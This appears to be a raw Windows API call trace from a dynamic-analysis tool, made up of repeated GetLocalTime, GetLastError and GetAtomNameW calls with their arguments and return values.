0x0 [0056.759] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.759] GetLastError () returned 0x0 [0056.759] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.759] GetLastError () returned 0x0 [0056.759] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.760] GetLastError () returned 0x0 [0056.760] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.760] GetLastError () returned 0x0 [0056.760] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.760] GetLastError () returned 0x0 [0056.760] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.760] GetLastError () returned 0x0 [0056.760] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.760] GetLastError () returned 0x0 [0056.760] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.760] GetLastError () returned 0x0 [0056.760] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.760] GetLastError () returned 0x0 [0056.760] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.760] GetLastError () returned 0x0 [0056.760] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.760] GetLastError () returned 0x0 [0056.760] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.760] GetLastError () returned 0x0 [0056.760] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.760] GetLastError () returned 0x0 [0056.760] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.760] GetLastError () returned 0x0 [0056.760] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.760] GetLastError () returned 0x0 [0056.760] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.760] GetLastError () returned 0x0 [0056.760] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.760] GetLastError () returned 0x0 [0056.760] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.760] GetLastError () returned 0x0 [0056.760] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.760] GetLastError () returned 0x0 [0056.760] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.760] GetLastError () returned 0x0 [0056.760] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x1a4)) [0056.760] GetLastError () returned 0x0 [0057.534] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.535] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.536] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.537] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.538] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0057.539] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 